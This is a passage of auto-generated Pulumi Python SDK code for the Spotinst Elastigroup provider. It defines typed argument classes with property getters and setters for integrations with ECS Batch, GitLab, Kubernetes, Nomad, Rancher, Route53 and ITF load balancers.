Optional[pulumi.Input[int]]: """ How many units of headroom to allocate. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_of_units", value) @pulumi.input_type class ElastigroupIntegrationEcsBatchArgs: def __init__(__self__, *, job_queue_names: pulumi.Input[Sequence[pulumi.Input[str]]]): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] job_queue_names: Array of strings. """ pulumi.set(__self__, "job_queue_names", job_queue_names) @property @pulumi.getter(name="jobQueueNames") def job_queue_names(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: """ Array of strings. """ return pulumi.get(self, "job_queue_names") @job_queue_names.setter def job_queue_names(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "job_queue_names", value) @pulumi.input_type class ElastigroupIntegrationGitlabArgs: def __init__(__self__, *, runner: Optional[pulumi.Input['ElastigroupIntegrationGitlabRunnerArgs']] = None): """ :param pulumi.Input['ElastigroupIntegrationGitlabRunnerArgs'] runner: Settings for Gitlab runner. """ if runner is not None: pulumi.set(__self__, "runner", runner) @property @pulumi.getter def runner(self) -> Optional[pulumi.Input['ElastigroupIntegrationGitlabRunnerArgs']]: """ Settings for Gitlab runner. """ return pulumi.get(self, "runner") @runner.setter def runner(self, value: Optional[pulumi.Input['ElastigroupIntegrationGitlabRunnerArgs']]): pulumi.set(self, "runner", value) @pulumi.input_type class ElastigroupIntegrationGitlabRunnerArgs: def __init__(__self__, *, is_enabled: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[bool] is_enabled: Specifies whether the integration is enabled. """ if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the integration is enabled. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @pulumi.input_type class ElastigroupIntegrationKubernetesArgs: def __init__(__self__, *, api_server: Optional[pulumi.Input[str]] = None, autoscale_cooldown: Optional[pulumi.Input[int]] = None, autoscale_down: Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleDownArgs']] = None, autoscale_headroom: Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs']] = None, autoscale_is_auto_config: Optional[pulumi.Input[bool]] = None, autoscale_is_enabled: Optional[pulumi.Input[bool]] = None, autoscale_labels: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleLabelArgs']]]] = None, cluster_identifier: Optional[pulumi.Input[str]] = None, integration_mode: Optional[pulumi.Input[str]] = None, token: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] api_server: The public IP of the DC/OS Master. :param pulumi.Input[int] autoscale_cooldown: The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. :param pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleDownArgs'] autoscale_down: Settings for scale down actions. :param pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs'] autoscale_headroom: An option to set compute reserve for the cluster. :param pulumi.Input[bool] autoscale_is_auto_config: Enabling the automatic k8s auto-scaler functionality. For more information please see: [Kubernetes auto scaler](https://api.spotinst.com/integration-docs/elastigroup/container-management/kubernetes/autoscaler/). :param pulumi.Input[bool] autoscale_is_enabled: Specifies whether the auto scaling feature is enabled. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleLabelArgs']]] autoscale_labels: A key/value mapping of tags to assign to the resource. :param pulumi.Input[str] integration_mode: Valid values: `"saas"`, `"pod"`. :param pulumi.Input[str] token: Kubernetes Token """ if api_server is not None: pulumi.set(__self__, "api_server", api_server) if autoscale_cooldown is not None: pulumi.set(__self__, "autoscale_cooldown", autoscale_cooldown) if autoscale_down is not None: pulumi.set(__self__, "autoscale_down", autoscale_down) if autoscale_headroom is not None: pulumi.set(__self__, "autoscale_headroom", autoscale_headroom) if autoscale_is_auto_config is not None: pulumi.set(__self__, "autoscale_is_auto_config", autoscale_is_auto_config) if autoscale_is_enabled is not None: pulumi.set(__self__, "autoscale_is_enabled", autoscale_is_enabled) if autoscale_labels is not None: pulumi.set(__self__, "autoscale_labels", autoscale_labels) if cluster_identifier is not None: pulumi.set(__self__, "cluster_identifier", cluster_identifier) if integration_mode is not None: pulumi.set(__self__, "integration_mode", integration_mode) if token is not None: pulumi.set(__self__, "token", token) @property @pulumi.getter(name="apiServer") def api_server(self) -> Optional[pulumi.Input[str]]: """ The public IP of the DC/OS Master. """ return pulumi.get(self, "api_server") @api_server.setter def api_server(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server", value) @property @pulumi.getter(name="autoscaleCooldown") def autoscale_cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. """ return pulumi.get(self, "autoscale_cooldown") @autoscale_cooldown.setter def autoscale_cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "autoscale_cooldown", value) @property @pulumi.getter(name="autoscaleDown") def autoscale_down(self) -> Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleDownArgs']]: """ Settings for scale down actions. """ return pulumi.get(self, "autoscale_down") @autoscale_down.setter def autoscale_down(self, value: Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleDownArgs']]): pulumi.set(self, "autoscale_down", value) @property @pulumi.getter(name="autoscaleHeadroom") def autoscale_headroom(self) -> Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs']]: """ An option to set compute reserve for the cluster. """ return pulumi.get(self, "autoscale_headroom") @autoscale_headroom.setter def autoscale_headroom(self, value: Optional[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs']]): pulumi.set(self, "autoscale_headroom", value) @property @pulumi.getter(name="autoscaleIsAutoConfig") def autoscale_is_auto_config(self) -> Optional[pulumi.Input[bool]]: """ Enabling the automatic k8s auto-scaler functionality. For more information please see: [Kubernetes auto scaler](https://api.spotinst.com/integration-docs/elastigroup/container-management/kubernetes/autoscaler/). """ return pulumi.get(self, "autoscale_is_auto_config") @autoscale_is_auto_config.setter def autoscale_is_auto_config(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_auto_config", value) @property @pulumi.getter(name="autoscaleIsEnabled") def autoscale_is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the auto scaling feature is enabled. """ return pulumi.get(self, "autoscale_is_enabled") @autoscale_is_enabled.setter def autoscale_is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_enabled", value) @property @pulumi.getter(name="autoscaleLabels") def autoscale_labels(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleLabelArgs']]]]: """ A key/value mapping of tags to assign to the resource. """ return pulumi.get(self, "autoscale_labels") @autoscale_labels.setter def autoscale_labels(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationKubernetesAutoscaleLabelArgs']]]]): pulumi.set(self, "autoscale_labels", value) @property @pulumi.getter(name="clusterIdentifier") def cluster_identifier(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "cluster_identifier") @cluster_identifier.setter def cluster_identifier(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_identifier", value) @property @pulumi.getter(name="integrationMode") def integration_mode(self) -> Optional[pulumi.Input[str]]: """ Valid values: `"saas"`, `"pod"`. """ return pulumi.get(self, "integration_mode") @integration_mode.setter def integration_mode(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "integration_mode", value) @property @pulumi.getter def token(self) -> Optional[pulumi.Input[str]]: """ Kubernetes Token """ return pulumi.get(self, "token") @token.setter def token(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "token", value) @pulumi.input_type class ElastigroupIntegrationKubernetesAutoscaleDownArgs: def __init__(__self__, *, evaluation_periods: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] evaluation_periods: How many evaluation periods should accumulate before a scale down action takes place. """ if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ How many evaluation periods should accumulate before a scale down action takes place. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @pulumi.input_type class ElastigroupIntegrationKubernetesAutoscaleHeadroomArgs: def __init__(__self__, *, cpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None, num_of_units: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] cpu_per_unit: How much CPU (MHz) to allocate for headroom unit. :param pulumi.Input[int] memory_per_unit: How much Memory allocate for headroom unit. :param pulumi.Input[int] num_of_units: How many units of headroom to allocate. """ if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) if num_of_units is not None: pulumi.set(__self__, "num_of_units", num_of_units) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much CPU (MHz) to allocate for headroom unit. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much Memory allocate for headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> Optional[pulumi.Input[int]]: """ How many units of headroom to allocate. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_of_units", value) @pulumi.input_type class ElastigroupIntegrationKubernetesAutoscaleLabelArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupIntegrationMesosphereArgs: def __init__(__self__, *, api_server: pulumi.Input[str]): """ :param pulumi.Input[str] api_server: The public IP of the DC/OS Master. """ pulumi.set(__self__, "api_server", api_server) @property @pulumi.getter(name="apiServer") def api_server(self) -> pulumi.Input[str]: """ The public IP of the DC/OS Master. """ return pulumi.get(self, "api_server") @api_server.setter def api_server(self, value: pulumi.Input[str]): pulumi.set(self, "api_server", value) @pulumi.input_type class ElastigroupIntegrationMultaiRuntimeArgs: def __init__(__self__, *, deployment_id: pulumi.Input[str]): """ :param pulumi.Input[str] deployment_id: The deployment id you want to get """ pulumi.set(__self__, "deployment_id", deployment_id) @property @pulumi.getter(name="deploymentId") def deployment_id(self) -> pulumi.Input[str]: """ The deployment id you want to get """ return pulumi.get(self, "deployment_id") @deployment_id.setter def deployment_id(self, value: pulumi.Input[str]): pulumi.set(self, "deployment_id", value) @pulumi.input_type class ElastigroupIntegrationNomadArgs: def __init__(__self__, *, master_host: pulumi.Input[str], master_port: pulumi.Input[int], acl_token: Optional[pulumi.Input[str]] = None, autoscale_constraints: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationNomadAutoscaleConstraintArgs']]]] = None, autoscale_cooldown: Optional[pulumi.Input[int]] = None, autoscale_down: Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleDownArgs']] = None, autoscale_headroom: Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleHeadroomArgs']] = None, autoscale_is_enabled: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] master_host: The URL for the Nomad master host. :param pulumi.Input[int] master_port: The network port for the master host. :param pulumi.Input[str] acl_token: Nomad ACL Token :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationNomadAutoscaleConstraintArgs']]] autoscale_constraints: A key/value mapping of tags to assign to the resource. :param pulumi.Input[int] autoscale_cooldown: The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. :param pulumi.Input['ElastigroupIntegrationNomadAutoscaleDownArgs'] autoscale_down: Settings for scale down actions. :param pulumi.Input['ElastigroupIntegrationNomadAutoscaleHeadroomArgs'] autoscale_headroom: An option to set compute reserve for the cluster. :param pulumi.Input[bool] autoscale_is_enabled: Specifies whether the auto scaling feature is enabled. """ pulumi.set(__self__, "master_host", master_host) pulumi.set(__self__, "master_port", master_port) if acl_token is not None: pulumi.set(__self__, "acl_token", acl_token) if autoscale_constraints is not None: pulumi.set(__self__, "autoscale_constraints", autoscale_constraints) if autoscale_cooldown is not None: pulumi.set(__self__, "autoscale_cooldown", autoscale_cooldown) if autoscale_down is not None: pulumi.set(__self__, "autoscale_down", autoscale_down) if autoscale_headroom is not None: pulumi.set(__self__, "autoscale_headroom", autoscale_headroom) if autoscale_is_enabled is not None: pulumi.set(__self__, "autoscale_is_enabled", autoscale_is_enabled) @property @pulumi.getter(name="masterHost") def master_host(self) -> pulumi.Input[str]: """ The URL for the Nomad master host. """ return pulumi.get(self, "master_host") @master_host.setter def master_host(self, value: pulumi.Input[str]): pulumi.set(self, "master_host", value) @property @pulumi.getter(name="masterPort") def master_port(self) -> pulumi.Input[int]: """ The network port for the master host. """ return pulumi.get(self, "master_port") @master_port.setter def master_port(self, value: pulumi.Input[int]): pulumi.set(self, "master_port", value) @property @pulumi.getter(name="aclToken") def acl_token(self) -> Optional[pulumi.Input[str]]: """ Nomad ACL Token """ return pulumi.get(self, "acl_token") @acl_token.setter def acl_token(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "acl_token", value) @property @pulumi.getter(name="autoscaleConstraints") def autoscale_constraints(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationNomadAutoscaleConstraintArgs']]]]: """ A key/value mapping of tags to assign to the resource. """ return pulumi.get(self, "autoscale_constraints") @autoscale_constraints.setter def autoscale_constraints(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationNomadAutoscaleConstraintArgs']]]]): pulumi.set(self, "autoscale_constraints", value) @property @pulumi.getter(name="autoscaleCooldown") def autoscale_cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes before any further trigger-related scaling activities can start. """ return pulumi.get(self, "autoscale_cooldown") @autoscale_cooldown.setter def autoscale_cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "autoscale_cooldown", value) @property @pulumi.getter(name="autoscaleDown") def autoscale_down(self) -> Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleDownArgs']]: """ Settings for scale down actions. """ return pulumi.get(self, "autoscale_down") @autoscale_down.setter def autoscale_down(self, value: Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleDownArgs']]): pulumi.set(self, "autoscale_down", value) @property @pulumi.getter(name="autoscaleHeadroom") def autoscale_headroom(self) -> Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleHeadroomArgs']]: """ An option to set compute reserve for the cluster. """ return pulumi.get(self, "autoscale_headroom") @autoscale_headroom.setter def autoscale_headroom(self, value: Optional[pulumi.Input['ElastigroupIntegrationNomadAutoscaleHeadroomArgs']]): pulumi.set(self, "autoscale_headroom", value) @property @pulumi.getter(name="autoscaleIsEnabled") def autoscale_is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the auto scaling feature is enabled. """ return pulumi.get(self, "autoscale_is_enabled") @autoscale_is_enabled.setter def autoscale_is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "autoscale_is_enabled", value) @pulumi.input_type class ElastigroupIntegrationNomadAutoscaleConstraintArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupIntegrationNomadAutoscaleDownArgs: def __init__(__self__, *, evaluation_periods: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] evaluation_periods: How many evaluation periods should accumulate before a scale down action takes place. """ if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ How many evaluation periods should accumulate before a scale down action takes place. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @pulumi.input_type class ElastigroupIntegrationNomadAutoscaleHeadroomArgs: def __init__(__self__, *, cpu_per_unit: Optional[pulumi.Input[int]] = None, memory_per_unit: Optional[pulumi.Input[int]] = None, num_of_units: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] cpu_per_unit: How much CPU (MHz) to allocate for headroom unit. :param pulumi.Input[int] memory_per_unit: How much Memory allocate for headroom unit. :param pulumi.Input[int] num_of_units: How many units of headroom to allocate. """ if cpu_per_unit is not None: pulumi.set(__self__, "cpu_per_unit", cpu_per_unit) if memory_per_unit is not None: pulumi.set(__self__, "memory_per_unit", memory_per_unit) if num_of_units is not None: pulumi.set(__self__, "num_of_units", num_of_units) @property @pulumi.getter(name="cpuPerUnit") def cpu_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much CPU (MHz) to allocate for headroom unit. """ return pulumi.get(self, "cpu_per_unit") @cpu_per_unit.setter def cpu_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cpu_per_unit", value) @property @pulumi.getter(name="memoryPerUnit") def memory_per_unit(self) -> Optional[pulumi.Input[int]]: """ How much Memory allocate for headroom unit. """ return pulumi.get(self, "memory_per_unit") @memory_per_unit.setter def memory_per_unit(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "memory_per_unit", value) @property @pulumi.getter(name="numOfUnits") def num_of_units(self) -> Optional[pulumi.Input[int]]: """ How many units of headroom to allocate. """ return pulumi.get(self, "num_of_units") @num_of_units.setter def num_of_units(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "num_of_units", value) @pulumi.input_type class ElastigroupIntegrationRancherArgs: def __init__(__self__, *, access_key: pulumi.Input[str], master_host: pulumi.Input[str], secret_key: pulumi.Input[str], version: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] access_key: The access key of the Rancher API. :param pulumi.Input[str] master_host: The URL for the Nomad master host. :param pulumi.Input[str] secret_key: The secret key of the Rancher API. :param pulumi.Input[str] version: The Rancher version. Must be `"1"` or `"2"`. If this field is omitted, it’s assumed that the Rancher cluster is version 1. Note that Kubernetes is required when using Rancher version 2^. Usage: """ pulumi.set(__self__, "access_key", access_key) pulumi.set(__self__, "master_host", master_host) pulumi.set(__self__, "secret_key", secret_key) if version is not None: pulumi.set(__self__, "version", version) @property @pulumi.getter(name="accessKey") def access_key(self) -> pulumi.Input[str]: """ The access key of the Rancher API. """ return pulumi.get(self, "access_key") @access_key.setter def access_key(self, value: pulumi.Input[str]): pulumi.set(self, "access_key", value) @property @pulumi.getter(name="masterHost") def master_host(self) -> pulumi.Input[str]: """ The URL for the Nomad master host. """ return pulumi.get(self, "master_host") @master_host.setter def master_host(self, value: pulumi.Input[str]): pulumi.set(self, "master_host", value) @property @pulumi.getter(name="secretKey") def secret_key(self) -> pulumi.Input[str]: """ The secret key of the Rancher API. """ return pulumi.get(self, "secret_key") @secret_key.setter def secret_key(self, value: pulumi.Input[str]): pulumi.set(self, "secret_key", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ The Rancher version. Must be `"1"` or `"2"`. If this field is omitted, it’s assumed that the Rancher cluster is version 1. Note that Kubernetes is required when using Rancher version 2^. Usage: """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @pulumi.input_type class ElastigroupIntegrationRoute53Args: def __init__(__self__, *, domains: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainArgs']]]): """ :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainArgs']]] domains: Collection of one or more domains to register. """ pulumi.set(__self__, "domains", domains) @property @pulumi.getter def domains(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainArgs']]]: """ Collection of one or more domains to register. """ return pulumi.get(self, "domains") @domains.setter def domains(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainArgs']]]): pulumi.set(self, "domains", value) @pulumi.input_type class ElastigroupIntegrationRoute53DomainArgs: def __init__(__self__, *, hosted_zone_id: pulumi.Input[str], record_sets: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainRecordSetArgs']]], record_set_type: Optional[pulumi.Input[str]] = None, spotinst_acct_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] hosted_zone_id: The id associated with a hosted zone. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainRecordSetArgs']]] record_sets: Collection of records containing authoritative DNS information for the specified domain name. :param pulumi.Input[str] record_set_type: The type of the record set. Valid values: `"a"`, `"cname"`. :param pulumi.Input[str] spotinst_acct_id: The Spotinst account ID that is linked to the AWS account that holds the Route 53 Hosted Zone ID. The default is the user Spotinst account provided as a URL parameter. """ pulumi.set(__self__, "hosted_zone_id", hosted_zone_id) pulumi.set(__self__, "record_sets", record_sets) if record_set_type is not None: pulumi.set(__self__, "record_set_type", record_set_type) if spotinst_acct_id is not None: pulumi.set(__self__, "spotinst_acct_id", spotinst_acct_id) @property @pulumi.getter(name="hostedZoneId") def hosted_zone_id(self) -> pulumi.Input[str]: """ The id associated with a hosted zone. """ return pulumi.get(self, "hosted_zone_id") @hosted_zone_id.setter def hosted_zone_id(self, value: pulumi.Input[str]): pulumi.set(self, "hosted_zone_id", value) @property @pulumi.getter(name="recordSets") def record_sets(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainRecordSetArgs']]]: """ Collection of records containing authoritative DNS information for the specified domain name. """ return pulumi.get(self, "record_sets") @record_sets.setter def record_sets(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupIntegrationRoute53DomainRecordSetArgs']]]): pulumi.set(self, "record_sets", value) @property @pulumi.getter(name="recordSetType") def record_set_type(self) -> Optional[pulumi.Input[str]]: """ The type of the record set. Valid values: `"a"`, `"cname"`. """ return pulumi.get(self, "record_set_type") @record_set_type.setter def record_set_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "record_set_type", value) @property @pulumi.getter(name="spotinstAcctId") def spotinst_acct_id(self) -> Optional[pulumi.Input[str]]: """ The Spotinst account ID that is linked to the AWS account that holds the Route 53 Hosted Zone ID. The default is the user Spotinst account provided as a URL parameter. """ return pulumi.get(self, "spotinst_acct_id") @spotinst_acct_id.setter def spotinst_acct_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spotinst_acct_id", value) @pulumi.input_type class ElastigroupIntegrationRoute53DomainRecordSetArgs: def __init__(__self__, *, name: pulumi.Input[str], use_public_dns: Optional[pulumi.Input[bool]] = None, use_public_ip: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[bool] use_public_dns: - Designates whether the DNS address should be exposed to connections outside the VPC. :param pulumi.Input[bool] use_public_ip: - Designates whether the IP address should be exposed to connections outside the VPC. """ pulumi.set(__self__, "name", name) if use_public_dns is not None: pulumi.set(__self__, "use_public_dns", use_public_dns) if use_public_ip is not None: pulumi.set(__self__, "use_public_ip", use_public_ip) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter(name="usePublicDns") def use_public_dns(self) -> Optional[pulumi.Input[bool]]: """ - Designates whether the DNS address should be exposed to connections outside the VPC. """ return pulumi.get(self, "use_public_dns") @use_public_dns.setter def use_public_dns(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_public_dns", value) @property @pulumi.getter(name="usePublicIp") def use_public_ip(self) -> Optional[pulumi.Input[bool]]: """ - Designates whether the IP address should be exposed to connections outside the VPC. """ return pulumi.get(self, "use_public_ip") @use_public_ip.setter def use_public_ip(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_public_ip", value) @pulumi.input_type class ElastigroupItfArgs: def __init__(__self__, *, fixed_target_groups: pulumi.Input[bool], load_balancers: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerArgs']]], target_group_configs: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigArgs']]], weight_strategy: pulumi.Input[str], migration_healthiness_threshold: Optional[pulumi.Input[int]] = None): pulumi.set(__self__, "fixed_target_groups", fixed_target_groups) pulumi.set(__self__, "load_balancers", load_balancers) pulumi.set(__self__, "target_group_configs", target_group_configs) pulumi.set(__self__, "weight_strategy", weight_strategy) if migration_healthiness_threshold is not None: pulumi.set(__self__, "migration_healthiness_threshold", migration_healthiness_threshold) @property @pulumi.getter(name="fixedTargetGroups") def fixed_target_groups(self) -> pulumi.Input[bool]: return pulumi.get(self, "fixed_target_groups") @fixed_target_groups.setter def fixed_target_groups(self, value: pulumi.Input[bool]): pulumi.set(self, "fixed_target_groups", value) @property @pulumi.getter(name="loadBalancers") def load_balancers(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerArgs']]]: return pulumi.get(self, "load_balancers") @load_balancers.setter def load_balancers(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerArgs']]]): pulumi.set(self, "load_balancers", value) @property @pulumi.getter(name="targetGroupConfigs") def target_group_configs(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigArgs']]]: return pulumi.get(self, "target_group_configs") @target_group_configs.setter def target_group_configs(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigArgs']]]): pulumi.set(self, "target_group_configs", value) @property @pulumi.getter(name="weightStrategy") def weight_strategy(self) -> pulumi.Input[str]: return pulumi.get(self, "weight_strategy") @weight_strategy.setter def weight_strategy(self, value: pulumi.Input[str]): pulumi.set(self, "weight_strategy", value) @property @pulumi.getter(name="migrationHealthinessThreshold") def migration_healthiness_threshold(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "migration_healthiness_threshold") @migration_healthiness_threshold.setter def migration_healthiness_threshold(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "migration_healthiness_threshold", value) @pulumi.input_type class ElastigroupItfLoadBalancerArgs: def __init__(__self__, *, listener_rules: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerListenerRuleArgs']]], load_balancer_arn: pulumi.Input[str]): pulumi.set(__self__, "listener_rules", listener_rules) pulumi.set(__self__, "load_balancer_arn", load_balancer_arn) @property @pulumi.getter(name="listenerRules") def listener_rules(self) -> pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerListenerRuleArgs']]]: return pulumi.get(self, "listener_rules") @listener_rules.setter def listener_rules(self, value: pulumi.Input[Sequence[pulumi.Input['ElastigroupItfLoadBalancerListenerRuleArgs']]]): pulumi.set(self, "listener_rules", value) @property @pulumi.getter(name="loadBalancerArn") def load_balancer_arn(self) -> pulumi.Input[str]: return pulumi.get(self, "load_balancer_arn") @load_balancer_arn.setter def load_balancer_arn(self, value: pulumi.Input[str]): pulumi.set(self, "load_balancer_arn", value) @pulumi.input_type class ElastigroupItfLoadBalancerListenerRuleArgs: def __init__(__self__, *, rule_arn: pulumi.Input[str]): pulumi.set(__self__, "rule_arn", rule_arn) @property @pulumi.getter(name="ruleArn") def rule_arn(self) -> pulumi.Input[str]: return pulumi.get(self, "rule_arn") @rule_arn.setter def rule_arn(self, value: pulumi.Input[str]): pulumi.set(self, "rule_arn", value) @pulumi.input_type class ElastigroupItfTargetGroupConfigArgs: def __init__(__self__, *, health_check_path: pulumi.Input[str], port: pulumi.Input[int], protocol: pulumi.Input[str], vpc_id: pulumi.Input[str], health_check_interval_seconds: Optional[pulumi.Input[int]] = None, health_check_port: Optional[pulumi.Input[str]] = None, health_check_protocol: Optional[pulumi.Input[str]] = None, health_check_timeout_seconds: Optional[pulumi.Input[int]] = None, healthy_threshold_count: Optional[pulumi.Input[int]] = None, matchers: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigMatcherArgs']]]] = None, protocol_version: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupItfTargetGroupConfigTagArgs']]]] = None, unhealthy_threshold_count: Optional[pulumi.Input[int]] = None): """ :param 